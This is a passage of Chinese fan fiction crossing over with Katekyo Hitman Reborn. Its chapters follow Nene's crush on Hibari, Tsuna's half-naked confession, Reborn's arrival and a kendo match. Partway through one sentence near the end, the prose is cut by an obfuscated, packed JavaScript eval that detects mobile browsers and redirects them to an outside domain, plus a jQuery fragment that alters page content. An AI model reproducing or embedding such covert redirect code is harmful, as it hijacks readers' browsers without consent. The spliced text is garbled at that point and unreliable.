——祢祢处于什么状态? ——当然是绝赞单恋中啊! 她已经想好了!只要云雀恭弥恭弥对她的好感度超过了70(祢祢眼中的朋友标准线,山本武和笹川京子他们对她的好感度都在70以上),她就会正式向他发出约会申请! ——朋友之间一起出去玩很正常吧?她就要用这种温水煮青蛙的方式取得并盛校花的芳心! 就在祢祢挑选良辰吉日打算去天台偶遇云雀恭弥的时候,另一件事的发生打乱了她的进度。 那是一个天气很好的早晨,祢祢在去学校的路上碰到了笹川京子,然后就很自然地走到了一起,手挽着手亲亲热热的往学校走。 然后,身侧好像有什么东西闪过去了……? “刚刚那是……” 祢祢扭头想跟京子讨论一下刚刚一闪而过的不明物体,却又被拐角处突然出现的黑毛男持田引走了注意。 ——这家伙喜欢笹川京子。 很正常,像京子酱这么温柔可爱善解人意的美少女,如果她是男孩也会喜欢的。 ……但这家伙很烦人啊!打扰了她和京子酱的二人世界!她还想和京子酱约定周末一起去新开的甜品店吃蛋糕呢,结果持田这家伙非要跟在她们旁边喋喋不休! 这种啰嗦的男人是不会讨女孩子喜欢的! 就在见崎祢祢忍不住想要开口赶走他时,一个突然从天而降的白花花人影将持田一脚撞飞—— 祢祢的视线下意识跟着持田飞出去的抛物线,看见他径直飞向刚巧路过的山本武,然后被对方稳稳接住。 ——少年好臂力! 不不不,现在不是感叹这个的时候…… 祢祢转回头,首先映入眼帘的是一具光.裸的,白花花的肉.体,然后是对方头上燃烧着的明亮火焰和凶恶的神情…… 嘶……怎么有点眼熟? 啊,这个不穿衣服到处跑的家伙就是传说中的变态暴露狂吧?风纪委员去哪儿去了? ——但是这变态真的好眼熟啊…… 就在祢祢苦思冥想之际,变态暴露狂手臂猛得向前一伸,表情凶恶:“请和我交往吧!” 见崎祢祢:“………?” 她看了看对面的变态暴露狂又看了看自己身旁的好友,突然露出了难以言喻的神色。 ——祢祢终于认出来了,眼前这个不穿衣服就来向自己好友表白的变态暴露狂,正是她的废柴挚友,沢田纲吉啊!! 15. 奇怪的小婴儿 祢祢欲言又止地看向身旁的笹川京子,想要为自己做出奇怪行为的挚友说两句,就见笹川京子视线下移,然后尖叫着跑开了。 祢祢:“??” 她学着笹川京子的动作视线下移,看见沢田纲吉下身的蓝色平角内裤后又突然愣住,表情一言难尽——这家伙现在看上去真的很像变态啊!! “混蛋!” 刚刚飞出去的持田不知道什么时候又回来了,狠狠一拳打在沢田纲吉脸上。 沢田纲吉被一拳打倒在地,头上的火焰缓缓熄灭,脸上叫人陌生的凶恶表情也消失了,变回了祢祢熟悉的那个沢田纲吉。 呃,就是没穿衣服叫人有些不习惯。 看着懊恼抱头的纲吉少年,祢祢顿了顿,神色复杂的将手臂上的制服外套披在了他肩头。 ——感谢祢祢的畏寒体质让她即使是在夏天也会带上外套,让纲吉少年避免了被更多人围观裸体的命运。 沢田纲吉羞耻的低下头,将身上的外套又往上扯了扯,然后意识到这外套根本不是自己后又猛然僵住,整张脸都红透了。 看着他这幅恨不得找个地缝钻进去的窘迫模样,祢祢反而安下了心。 ——这样才是沢田纲吉嘛!刚刚那个眼睛瞪得像铜铃的凶狠表情算什么嘛!她差点没认出来! 祢祢跟沢田纲吉其实差不多高,她的外套在他身上也勉强够用,但男女体型终究是有差距,祢祢要比他纤细一些,而那也只是一件外套。 所以沢田纲吉现在的穿搭就是真空西式制服外套+被露出来一半的蓝色平角内裤,看上去很是不伦不类。 祢祢盯了他两秒,觉得很是辣眼睛,忍不住移开了视线,并在内心告诫自己:即使这家伙很丢人、即使站在这里很尴尬、即使他这身行头很辣眼睛,你也不能抛弃他啊!如果你现在离开,一定会伤害到废柴阿纲脆弱的心灵的吧?! ——他说不定还会哭。 ——可恶,作为一个称职的朋友,让友人为自己哭泣这种事还是不要发生才好啊! 视线转到一旁围观的同学,他们正交头接耳窃窃私语着,不时向身处于真空地带的见崎祢祢和沢田纲吉二人投以诡异的视线。 祢祢不明所以的与其中一人对上视线,对方连忙红着脸移开视线,还不忘扯了扯身旁同伴的衣袖,一同钻入人群看不见了。 祢祢:“??” 这是在干什么? 她集中注意力去听人群中传来的窃窃私语,等意识到他们在说什么时顿时浑身一震。 祢祢神色扭曲:告白?阿纲对我??开什么玩笑?!!我们俩可是各自有家室……呃呸、暗恋对象的人啊!!! 她看向还在自闭的沢田纲吉和刚刚笹川京子待过的位置,又看了看自己脚下的地面,意识到这个站位确实挺容易叫人误解的。 尤其是沢田纲吉刚出现没多久笹川京子就跑走了,后来的人就只能看见祢祢和沢田纲吉了,而且他们在学校里看上去也是关系很好的朋友。 啊这、这要怎么办? 要澄清吗? ……她如果认下的话可以解释成朋友之间的玩笑,比如‘真心话大冒险输掉后提出的过分要求但没想到对方真的执行了’这种。 别人会不会相信祢祢不知道,但笹川京子这种天然肯定当真。 到时候纲吉少年可能还会有一丝赢得女神芳心的机会。 啊,所以就这样吧。 祢祢神色复杂的看了眼扯着外套像是被恶霸扒了衣服的良家妇女一样的沢田纲吉,深沉的叹了口气。 ——挚友,为了你的爱情,我真是牺牲良多,连自己的声誉都搭进去了,以后大家再提到见崎祢祢的时候一定就会这样说吧: ——[啊,见崎吗,就是那个喜欢恶作剧的恶魔系美少女吧?据说性格相当恶劣呢,一年级的时候还对自己无辜的朋友进行了惨无人道的恶作剧,害得可怜的阿纲同学被很多人看光了呢。] 思及此,见崎祢祢不禁抬头四十五度角,悲伤的望着湛蓝的天幕,觉得自己的坏名声说不定很快就会传遍全并盛町,到时候连出去买个冰淇淋都会被人指指点点。 ——[嗳,就是她,她就是传说中那个见崎祢祢,一年级的时候让自己的好朋友不穿衣服来学校的恶劣美少女。] ——[啊……这么过分的吗?] ——[对,超过分的,她就是个小恶魔,以他人的痛苦为乐呢!可怜的纲吉君,真是不幸,和她成为了朋友……] …… 突然,祢祢视线中出现了一个小黑点。 是蚊子吧……难道以后连蚊子也会来嘲笑她吗? 想到以后的悲催生活,祢祢不禁悲伤的闭上了眼。 “Reborn!!” 就在祢祢即将悲伤逆流成河之际,沢田纲吉带着气恼的声音打断了她的技能释放进度。 她睁开眼,就看到一个穿一身黑色西装戴黑色礼帽,鬓角蚊香圈一样的小婴儿绑着降落伞缓缓降落。 这、这是什么?! 祢祢再次感觉到世界的玄幻之处。 啊,这个世界不是早就不是原先的样子了吗…… 又是来着未来的书,又是会移动的书店,又是能看到好感度的相机……啊,还有池袋的无头骑士和被恶灵附身的不良少年,再加上今天突然发癫裸奔向女神告白的挚友酱…… 这个世界已经变得面目全非了啊……! 嘶,话说沢田纲吉为什么要裸奔告白啊?刚刚头上还着着火呢,灭了以后也没有烧焦痕迹,一点也不科学。 而且着火的时候性格也变了好多,那副凶恶又亢奋的模样让她这个最好的朋友都不敢让…… 真是奇怪啊。 这难不成…… ——是恶灵附身么?! ……真是歹毒的恶灵啊!不仅用阿纲的身体裸奔搞坏了他的名誉,还差点搞砸了他的恋情!! ——不过话说沢田纲吉的运气也真是一如既往的不好啊,池袋的静君被恶灵附身拥有了可以徒手拔树的怪力,而附身他的恶灵却只用他的身体裸奔败坏他本就不咋地的名声,真 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沢田纲吉的声音从她身前闷闷的传过来,温度隔着薄薄的一层夏季校服衣料传过来,很烫。 ——果然刚刚额头着火的事情还是给他留下后遗症了吧!那东西会不会把他脑子烧坏? ——不要啊!沢田纲吉已经够不聪明了!再烧下去就要变成小智障了啊!! 于是她抬手摸了摸沢田纲吉毛茸茸的脑袋,语气郑重的安慰道:“别怕,阿纲,我会保护好你的。” “……” 奇怪的小婴儿终于下来了,他看了看被祢祢抱住看不清表情但肉眼可见的浑身僵硬耳朵还红得滴血的沢田纲吉,又看了看对此一无所觉并且对自己抱以警惕的见崎祢祢,陷入沉默。 祢祢和他对视着。 疑似恶魔使者的黑西装小婴儿有一副极有欺骗性的样貌。 他的身体看上去很是柔软,尤其是脸颊,鼓起来的那个圆润弧度看上去十分好捏,一双大而漆黑的圆润眼睛,透着诡异的纯真感,颊侧奇怪的蜗牛壳一样奇特又可爱的鬓角,肩头有金色眼珠的绿蜥蜴,胸前巨大(和他的身体相比)的黄色奶嘴,黑礼帽上橙色的亮色丝带,越看越……可爱。 祢祢:!!! 世间竟有此等萌物?! 不不不——见崎祢祢,你怎么可以被恶魔使者的伪装欺骗呢?!这一定就是他为了骗取人类的信任所编织的陷阱! 要警惕!没有警惕心的主角是活不到大结局的!! 可爱的小朋友——不、是疑似恶魔使者的小婴儿,刚刚沢田纲吉是不是叫了他的名字?‘Reborn’,是吧?还是个外语名。 总之,疑似恶魔使者的可爱小婴儿Reborn对着她眨了眨水润的漆黑大眼睛,声音软软糯糯清脆可爱:“ciao~” 祢祢:!!! 会心一击!! 见崎祢祢,已阵亡。 ——他这么可爱,绝对不会是坏人! 16.智障儿童纲吉少年 这个是很奇怪的小婴儿。 婴儿怎么会穿西装戴礼帽呢?他甚至还乘着降落伞,身上还趴着一只爬行动物。 正经小婴儿是不会被这么打扮的,所以这家伙看着就很古怪。 但如果说他是恶魔使者,又说不通。因为人类幼崽在一般情况下是不会被这么打扮的,恶魔使者如果想来猎捕人类,肯定会在行动进行前进行调查,一定不会不知道这一点,也一定不会把自己打扮的格格不入。 ……而且,据说恶魔不会把自己的名字告诉别人,但沢田纲吉刚刚却喊了他的名字。 由此可得——这只不过是一个被恶劣大人打扮得有些奇怪的普通小孩! 世界上奇怪的人那么多,这种奇怪的大人也有的吧?如果祢祢有这么可爱的孩子或者弟弟也会想要把他装扮得更加可爱的! 而且,恶魔使者根本不会这么伪装自己吧?这种可爱过头的相貌和装扮在作战中会不方便吧?他这种洋娃娃一样的小身板能做什么?只会吸引变态来蹂.躏他吧!不是有种叫‘可爱侵.犯’的心理理论吗?此等萌物在人间行走一定会碰上不少任务之外障碍的吧! 而且,合格的恶魔使者应该是池袋的红眼睛恶灵(折原临也:?)那样的,拥有让人放下戒心的柔和友善的气质,和让人抱以好感的清秀外表和看上去值得信任的外露的真挚,这个小孩子根本不合格嘛!一定是个被性格恶劣的大人进行了cosplay游戏的普通小孩子吧?居然让他一个人玩降落伞那么危险东西,真是不负责! 看着小婴儿诚挚(?)又单纯(?)的漆黑大眼,祢祢送开了揽着沢田纲吉的手,觉得他身上烫得要命,实在是不适合在夏天接触,于是又嫌弃的推了他一把。 ——不是挚友吗?他怎么不能体谅体谅夏天这鬼天气将她推开吗?这个可爱的小家伙又没有威胁,大夏天的抱在一起难道很舒服吗?真的很热欸。 祢祢最受不了热了——好吧,她也受不住冷,但后者并不需要在夏天考虑。 熟练的忽视被推开后委屈的沢田纲吉,祢祢盯着这个叫Reborn的小婴儿,突然又想起了笹川京子——刚刚在路上她好像说过又碰到沢田纲吉,还被问了有没有见到她,而且他身边还有个自称黑.手党的可爱小朋友。 ……不会就是这个吧? 那威胁就几乎将到低了,他在人前都不隐藏的诶,恶魔使者这种生物不应该是神秘而 “小朋友……” 祢祢刚开口打算询问这个小朋友怎么用这么危险的方式出场,就听到一阵熟悉的富有压迫感的BGM自身后响起,顿时浑身僵住。 “你们在干什么?” 熟悉的声音,祢祢缓缓扭头——啊,果然是云雀恭弥。 ——云雀前辈今天依旧如此光彩照人啊。 因为是在夏天,他没有披那件老式黑色制服,但白衬衫短袖上依旧别着颜色醒目的鲜红色风纪袖章。没有外套遮掩,祢祢看到他白皙的手臂(祢祢敢打赌他肯定要比大多数女孩子都要白)贴着金属质地的浮萍拐,看着莫名性感、不,应该是很有张力?那种他好像随时就要抬手抽过来的感觉叫人心跳加速。 ——不不,现在不是沉迷美色的时候。 祢祢转动眼珠看了看校门口的空地,发现刚刚还熙熙攘攘的围观人群不知道什么时候已经散干净了——好像是刚刚打铃的时候?只不过她当时的注意力全放在突然裸奔的挚友阿纲和从天而降的奇怪小孩Reborn身上了,根本没有注意到。 所以她现在是……迟到了? 迟到是违反风纪的啊!!一定给云雀前辈留下不好的映象了吧?! 会、会被打吗……? 祢祢又看向云雀恭弥握着浮萍拐的手,金属杖身贴着他的手臂,看上去很白,很细,摸上去大概是那种玉一样有些凉的触感吧…… 云雀前辈就是用这种一双手臂把人一杖抽飞的吗?真是不可思议,明明看上去和其他男孩的手臂没什么两样嘛。除了白了些,好看了些…… 沢田纲吉:“……” 他望着祢祢一遇见云雀恭弥就泛红的白皙脸颊和转不动的眼睛,感觉心很累,在对方横起浮萍拐不爽的走近之前,连忙将盯着人手臂看的祢祢和一旁看热闹的小婴儿一拉一提带离了现场: “抱歉委员长!我们这就去上课了!!” 云雀恭弥披着老式制服外套时的样子很好看,空荡荡的袖管跟衣摆随着走动在身后扬起,像是一件属于君王的,华丽而威严的披风——尽管这只是一件很普通的黑色制服外套。 但据祢祢观察,只有云雀恭弥一个人能把外套穿出这种气势,也只有云雀恭弥一个人的外套披在身上不会随着动作滑落,甚至连打架的时候都跟用了强力胶一样牢牢扒在他肩上,非常违反物理学。 ——这是旁人模仿不来的,至少沢田纲吉是学不来。 他身上裹着的外套在他刚起来的一瞬间就迫不及待的往下落,但还好祢祢及时回神,眼疾手快的用空着的手按住,然后握着两边领口将外套固定在他脖子上,阻止了沢田少年再次裸奔的惨剧发生,两人以一种相当别扭且辣眼睛的姿势相互拉扯着进了校门。 逃到安全区域,祢祢撑着腿弯腰局促的喘息着,身旁的沢田纲吉亦是如此。 “唔……太丢脸了,居然在云雀前辈面前和裸男私奔了……” 祢祢回想起刚刚的场景,缓缓蹲下,将脑袋埋进大腿,发出一声痛苦的呻.吟,呜咽着说。 沢田纲吉:“……” 他没好气道:“现在开始嫌弃我了吗?刚刚看你抱住我的架势还以为你根本不在意这些东西呢。” “我是不在乎……但这根本不一样!”祢祢声音闷闷的传来,“……我本来都做好把阿纲裸奔的过错揽到自己身上被别人戳一辈子脊梁骨的准备了——但云雀前辈怎么办啊!我的恋爱之路要怎么走啊?!” 她再次长而痛苦的发出一声叹息:“我本来打算在今天中午向前辈发出约会申请的……” 她抬头幽怨的看向他:“——但是被你搞砸了!所以沢田纲吉你到底在搞什么啊!!” “——!” 祢祢深呼吸平复心情,再次看向他,礼貌询问——天知道‘礼貌’这个词被用在这对挚友身上有多罕见,尤其是祢祢,她简直快把沢 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沢田纲吉突然也觉得有些委屈:他做错了什么啊?被突然出现的奇怪小婴儿欺负、莫名其妙挨了一枪子,莫名其妙进入了奇怪的状态、莫名其妙爆衣裸奔、向喜欢的女孩告白还被误会了(祢祢的样子一看就是以为他在对笹川京子告白)、现在还把人惹成这样……虽然阻止了约会申请这件事他确实很高兴啦!但果然还是更不想看到祢祢因为自己难过啊! ——可问题是,这些事都不是出于他本意啊!! 沢田纲吉忍不住看向罪魁祸首——那个自称Reborn的小婴儿——虽然他可以百分百肯定这家伙绝对不是什么普通小婴儿,想要向这个看上去和不一般的家庭教师寻求帮助,一转头却看见这家伙已经睡着了。 ——站立着,睁着眼睛,呼吸平稳,鼻尖冒出的鼻涕泡随着呼吸一起一伏,连肩头的宠物蜥蜴列恩都和他一样做着同款动作,看上去十分不合理。 沢田纲吉:“……” 沢田纲吉试探着开口:“啊诺……祢祢、” “我知道了!” 祢祢突然伸手捂住了他的嘴,沢田纲吉骤然噤声。“——” 祢祢抬起头,沢田纲吉看见她的脸被闷得有些发红,水润的浅色眼睛……呃、怜爱地看着他? “我都知道的,阿纲。”她继续用怜爱地神情和语气这么说道:“你是不是在网上看了什么帖子啊?比如说‘裸奔向女神告白一定会成功’这样的?” 沢田纲吉:“……” 沢田纲吉:“——我、” “——我知道的!阿纲!我都明白!”祢祢打断他,用一种感同身受的语气说:“要是有人跟我说只要裸奔就能得到云雀学长的芳心、我——” 她倏然顿住,半晌才皱眉道:“这种事根本不可能发生,而且我如果裸奔的话还很有可能因为扰乱风纪被前辈咬杀,我根本撑不过他那一拐子,会被直接打进医院的吧……?” 沉默片刻,祢祢才又看向他——依旧是用怜爱的目光,语气无奈又宠溺,像对犯了错的小孩子——不,就算是面对犯了错的小孩子,祢祢也不一定会用这种神态和语气——这分明是对智障儿童的! “果然只有阿纲这种傻乎乎又好骗的小傻子才会相信这种胡话吧?真是傻得有些可爱呢。”她用看智障儿童一样的慈爱目光看着他。 沢田纲吉:“……” 所以他在她眼里到底是个什么形象啊?!? 17.向卡密撒麻许愿吧! 安慰(?)过后,看着平静(?)下来的沢田纲吉,祢祢欣慰地呼了口气,让沢田纲吉先回去,她要去厕所冷静一下。 然后等她回去后(运气很好地没遇上云雀恭弥),就看见沢田纲吉一脸生无可恋的趴在桌子上,看见祢祢从后门溜进来,又朝她露出了那种像是要哭出来一样的,可怜又可爱的表情。 “怎么了?”祢祢关切地询问。 于是沢田纲吉哭丧着脸把祢祢不在时发生的事说了一遍。 原来是今天早上那个烦人的持田以‘吓到了京子’为理由向沢田纲吉发起了挑战,要在放学后的体育馆里和他比试剑道。 “那必须答应啊!!”祢祢理所当然道:“这可是关乎爱情的战争!” 沢田纲吉:“可是我根本就没有学过剑道啊!!” “没学过……?”祢祢露出有些苦恼的表情,然后很快舒展眉眼:“那就不去了。我放学后请你吃冰激凌,不要理会他们的闲言碎语,你有我就好了。” “——!” 就在沢田纲吉感动之际,祢祢却复又突然皱眉:“不行啊,这可是事关爱情的战争!你必须去!!” 沢田纲吉:“……不、” 你听我解释啊!! “——畏首畏尾的男人是不会讨女孩子喜欢的!阿纲,你必须去!毕竟,这可是事关爱情的大事啊!!” 沢田纲吉:“我、” “不要太紧张啦!”祢祢拍拍他的肩膀,安慰:“说不定阿纲你有什么特殊血统——比如古代第一剑道世家的继承人之类的,一拿起剑就会觉醒剑之黄金血,成为新时代剑圣!” “……剑之黄金血是个什么鬼啊?!这种东西根本不存在吧?!” “阿纲是觉得自己没有剑圣血统吗?”祢祢若有所思地反问。 “有才怪了吧!?这种玄幻的设定只有J○MP里才有吧?!!” 祢祢一本正经:“你居然还不相信这种事吗?明明今天早上已经被恶灵附身过一次了,还是尽早习惯这些非日常吧——毕竟,作为主角大人祢祢的挚友,后面还有的是你出场的呢——保护好自己吧!!废柴阿纲!” 沢田纲吉:“——都说了不是恶灵附身……!!是、” 他突然停顿,视线乱飘,祢祢见此从善如流地接过话题,用捧读的语气开口:“——是笨蛋阿纲被网上的帖子骗了。我知道,阿纲就是这种傻乎乎的孩子呢,他的大脑如同最贫瘠的沙漠,开不出一朵花儿。是个平均成绩只有17.5分的笨蛋呢。” 沢田纲吉:“………” 他自暴自弃:“……随便你怎么说吧。” 祢祢沉吟:“是不满意剑圣血统吗?你想要什么血统?我帮你换。” 沢田纲吉:“………………” “这种东西还能换……???”他看上去已经无力吐槽了——话说这句话本来就满是槽点吧?!要从哪里开始吐啊喂!! “当然可以呀!” 祢祢又露出那副理所当然,看上去很有说服力的表情,声音清脆动听,然后说出了很离谱的话:“祢祢大人可是主角啊!主角就是世界中心,主角就是这个世界的卡密撒麻,卡密撒麻无所不能,说什么就能成什么——帮你换个血还是不成问题的。” 沢田纲吉:“…………” 沢田纲吉丢掉了吐槽役剧本,开始附和她:“对对对,伟大的祢祢大明神,无所不能的卡密撒麻,请保佑我在剑道比试中取胜,给我换一身世界最强的血统吧。” 祢祢失望摇头:“想要获胜居然第一时间想到换血吗?原来是个想要不劳而获的贪婪人类么。” 沢田纲吉:“……明明是你先提出来的啊!!” 祢祢:“你不能别人说什么就做什么——你是任我摆布的洋娃娃么?那我可以给你换Lolita吗?” “………不可以。” “真可惜。” “…………” 祢祢:“想要向神明许下愿望,必须要献上贡品才行。” 沢田纲吉:“……说人话。” 祢祢:“我饿了。” 沢田纲吉:“……” 他将手探进桌洞一阵摸索,摸出一盒没拆封的Pocky,向祢祢的方向抬手:“诺,别被老师发现了。” 祢祢看了一眼那盒Pocky,嫌弃:“我想吃巧克力味的。” 沢田纲吉:“抹茶味哪里得罪你了?” 祢祢:“唔……没有的话,牛奶味的也可以。” 沢田纲吉:“……只剩抹茶味的了。” 祢祢指指点点:“这个绿色好丑啊。” “……” 沢田纲吉:“不要算——” 他作势要收回手,心里寻思着,按常理,祢祢下一秒就该伸手抢过去了,他也没使劲,对方只有一用力就能夺回去——怎么会饿呢?早上吃少了吗?还是压根没吃饭吗? ——好像是有在哪里看到过,说女孩子想要让自己看上去更瘦更漂亮些时会在早上少吃饭。 但祢祢从前从来没有这么做过,今天突然这么做是为了什么?啊,她好像本来要在今天邀请云雀约会来着,是为了他吗? ……根本不需要这样的。她已经够纤细了。 “沢田纲吉!” 伴随着老师的怒吼,沢田纲吉感觉自己手腕一痛——粉笔很准确的砸到了他的手腕。他手上下意识一松,那盒本就没用多少力拿的Pocky顺势从指尖划下。 沢田纲吉在心里暗叫糟——要是摔碎了祢祢肯定更不想吃了。 并没有听到纸盒落地的声音,沢田纲吉余光瞥过去,看见它在坠落的中途就被人接住了——细长白皙的手指,皮肉中透出浅浅的粉色,指甲上涂了薄薄一层亮晶晶的裸色甲油——这个祢祢以前也没用过,估计又是为了云雀。 接住Pocky的祢祢愣了愣,然后朝他得意的眨了眨眼。沢田纲吉知道她是什么意思,她大概也没想到自己能接到它,毕竟祢祢的运动细胞一向不怎么发达,体育成绩没比‘废柴纲’好多少。 沢田纲吉注意到她浅色眼瞳上方,在日光下莹莹地闪光,随着眨眼的动作晃着他的眼。纵使对女孩子的化妆品毫无研究,他也知道那是什么。 ……但是祢祢从前从来不用这些的。 她觉得这些都很麻烦,从来不像大多数青春期女孩那样热衷于装扮自己。 明明她也经常做一些在别人眼里耗时耗力的‘麻烦事’——比如花一整天的时间把喜欢的书看上好几遍,然后拉着人传教(首选脾气好的挚友酱纲吉)。 再比如热衷于收集同一本书的不同版本。明明同一本书无论重置多少次内容都差不多。就算是外语书,不同的译本之间也相差无几,她还是固执的把它们都搜罗收集。 这种情况仅用于她很喜欢的书籍上。兴致过了后又把它们包起来收进书架,变成和其他书籍无异的普通藏品。 或许,她对云雀的喜欢,迟早也会变成书架里藏书吧。 —— 因为老师的打岔,直到下课前祢祢和沢田纲吉都没这么交流。 沢田纲吉看见她又开始盯着窗外看。他想,感觉又是期待看见云雀经过吧。 ——还真不是。 一开始可能是因为想看到云雀恭弥,但时间一久就成了一个习惯,能不能看见暗恋对象都成了次要,祢祢只是觉得今天的天气特别好。 很适合观赏。 天是透彻的蓝,像电影里被拍得梦幻又不真实的海——祢祢喜欢这个颜色。 看见了云雀恭弥。 离得很远,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582848|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他袖子上的风纪袖章很显眼,没留飞机头,手上有金属反光,大概是浮萍拐。 云雀恭弥还是很好认的,全并盛就他一个这样的人,找不出第二个雷同的。 天是她喜欢的蓝,人也是她喜欢的人。她长眼睛果然就是为了看这个的吧。 路过的云雀恭弥很快离开,祢祢的目光又移向湛蓝的天幕,觉得如果在楼顶天台上看肯定会更漂亮。 但今天发生的事有些太多了,下午还要去看沢田纲吉和持田比试剑道,她的约会计划只好推迟了。 希望每天都天也可以这么漂亮吧,她的第一次约会申请就应该用这样美丽的布景。 下课后,祢祢心情很好的来到了沢田纲吉的桌前——前座同学熟练的起身让座,祢祢从善如流的坐下,道了声谢。 她严肃的看向沢田纲吉:“伟大的祢祢大明神接受了你的贡品,准备实现你的愿望——提你换一身世界最强的血统,在下午的剑道比试中打败持田,赢得女神的芳心——不过感觉京子酱不像是会因为你赢了比试就喜欢上你的类型啊……” 沢田纲吉愣了愣才意识到她是在接着课上的话题说话:“……这茬还没过去啊。” 祢祢一本正经:“我可是接受了你的贡品啊,当然要负责实现你的愿望啦——来吧!纲吉少年,和我签订契约成为魔法少男吧!!” 沢田纲吉:“……刚刚不是还拿着卡密撒麻和信徒的剧本吗?!这么突然就跳转到魔法少女了??” 祢祢没回答,两指并拢摸他的脉搏,轻微皱着眉,煞有其事地点了点头:“这样啊……那我就给你换一身顶级魅魔血统吧!” 沢田纲吉:“????” 沢田纲吉:“什么鬼啊?!!而且干嘛摸我脉搏?这又是什么离谱设定啊??!!” 祢祢熟门熟路的忽略他的吐槽,继续严谨(?)分析道:“——只要有了这身血脉,你就可以在比试中使用色.诱之术让持田爱上你,不战而胜了。” 沢田纲吉:“………………” “——而在赢下比试后,你也可以用同样的方式诱惑京子,最终抱得美人归!”她继续说。 “……真是完美的计划啊!!”祢祢表情诚恳地感叹道,似乎真的以为这是个不错的方法。 沢田纲吉早已无力吐槽,神色诡异的开口询问:“……你是最近又看了什么奇怪的小说吗?” “没,不是小说。”祢祢老实回答:“是最近游戏机厅热推的galgeme,我去玩了几天——男主角就是这个设定,我觉得很有意思。” 她眨了眨眼,露出有些郁闷的神情:“不过最后被攻略对象砍头be了——真是的,我是有哪里选错了吗?” 沢田纲吉对此的评价是:“你没有意识到自己哪里选错了这件事就已经很有问题了。” /// 放学后的体育馆。 祢祢以‘大冒险输了后开的玩笑没想到阿纲那个笨蛋居然真的去实行了’的解释安抚了笹川京子。 ——这个天然果然相信了。 暖橘色头发的少女露出有些歉意的笑:“还以为纲同学真的向祢祢告白了呢,还是以那种姿态——当时因为被吓到所以就跑了,后来还有点后悔没有拉上祢祢你呢。” 跟我告白……? 祢祢连忙解释:“阿纲没有跟我告白啦!这个只是一个误会、是一个恶作剧!!” “这样啊……”笹川京子温柔地眨了眨眼:“大家也说我有的时候听不懂笑话呢。” 祢祢:“没关系,即使是听不懂笑话的京子酱也很可爱呢!” “……”一旁的黑川花露出了奇怪的表情,看着她的目光就像在看一个幼儿园小鬼那样带着隐隐嫌弃:“真是同情沢田那家伙啊。” 祢祢:“……?” 18.比试,冰淇淋,约会 沢田纲吉来了。 他畏畏缩缩小心翼翼的从体育馆门口探出头,满脸写着被胁迫。 ——这可不行啊! 这种姿态真是太不酷了,实在是很难获得女孩的好感啊! 她偷偷看了一眼身旁的笹川京子,看见对方没什么变化的神情感到有些高兴又有些失落——当然,都是替沢田纲吉发出的。 这种什么反应都没有的反应不就是说明对他毫无感觉吗?看来沢田少年的恋爱之路任重而道远啊。 ………… 这场比试结束后祢祢陷入了短暂的混乱。 一开始还是很正常的,持田放着狠话挥剑向沢田纲吉发起攻击,沢田纲吉不断躲避。 然后一边的山本武喊了声“阿纲”,丢了把竹剑给他,沢田纲吉手忙脚乱的接住竹剑,刚拿稳就被持田给干倒了——看样子是没有觉醒剑之黄金血也没当成魅魔。 场地里的棕发少年刚想站起来却又特别倒霉的左脚绊右脚摔了,起来后又开始被池田追着跑,看着特别狼狈。 周围的人纷纷发出嘲笑,祢祢对此感到很生气。 虽然沢田纲吉现在看上去真的特别废柴特别狼狈,那副表情也特别惹人发笑……但他们笑就是他们的不对! 只有她才可以笑话他!其他人都不可以! 他现在肯定难受死了…… 祢祢有些后悔喊沢田纲吉参加比试了,就应该一放学就拉着他出去吃冰淇淋的。 看样子,沢田纲吉似乎是必输无疑了。祢祢开始思考待会儿怎么逗他开心以作补偿之时,台上的沢田纲吉突然脑袋朝上倒了下去,面容呆滞,跟死了似的。 祢祢一惊,想上前查看,但还没等她动作,台上疑似突然猝死的沢田纲吉就又起来了,面容凶恶地大喊:“复活——!” 与此同时,他身上穿的衣服突然撕裂,露出了那条早上才见过的蓝色内裤,头上也烧起了早上才见过的明亮火焰,看着特魔幻。 然后,更魔幻的来了。突然着火裸奔的沢田纲吉跟被恶灵附身了一样喊着“一定要拿下一本!”冲过去推到了持田——甚至用脑袋撞烂了持田用来格挡的竹剑。 就这么将其推倒在地,三下五除二吼叫着把他的头发拔光了,连裁判的叫停都没管,直到那位持田学长一头靓丽的黑发全部消失、变成一颗锃光瓦亮的卤蛋才结束。 这、这真的正常吗??? 祢祢神色复杂又纠结的看着自己的挚友:“阿纲……你真的没有被恶灵附身吗?” “呃、”沢田纲吉一副不知道怎么开口的样子,一旁的山本武倒是一脸无所谓的开了口:“嘛嘛,阿纲只穿一条内裤的时候就是很厉害嘛,早上那次就是这样啦。” 祢祢茫然重复:“阿纲不穿衣服的时候很厉害……?” “……”沢田纲吉露出了难以言喻的神情,很复杂,祢祢只能看出来他大概很无语:“这么说真的很奇怪啊……!” 祢祢神色懵懂:“很奇怪吗……?” 沢田纲吉:“……”他自暴自弃的移开眼,“算了……” “嘛嘛,”山本武凑过来勾住他的肩膀,笑得爽朗:“祢祢不是说要请我们吃冰淇淋吗?别生气了。” 沢田纲吉:“?我没生气。” “——爱情真是伟大啊!”祢祢感叹。 “?怎么话题跳的怎么快?” “不快啊,这不是有关联的吗?都是因为对京子酱的爱,阿纲你才能发挥出如此强劲的实力啊!” “……” 冰淇淋车前,正欲结账的祢祢突然看见一旁冒出来了西装小婴儿,是早上那个。 看着他可爱的脸,祢祢和善的问:“小朋友,你也想吃冰淇淋吗?” 他点了点头。 沢田纲吉欲阻拦:“祢祢,不用……” 但沢田纲吉的话还没说完,祢祢就已经再向店员要了一份了,看见一旁沢田纲吉欲言又止的神情和明显想要阻止的手,不赞同的说:“虽说小孩子的肠胃确实要比较脆弱,但Reborn只是看着比较显小而已——他都已经会说话和走路了,吃个冰淇淋还是可以的。” 说着,她将店员递过来的冰淇淋筒给了Reborn。 沢田纲吉:“……” “多谢。”小婴儿扶了扶帽檐,很有礼貌的说。 真是可爱。 “话说,这个小孩是阿纲的亲戚吗?以前都没见过呢。”祢祢心情很好的问。 沢田纲吉欲言又止:“他……” “我是阿纲的家庭教师。”Reborn抢答。 “——家庭教师?” 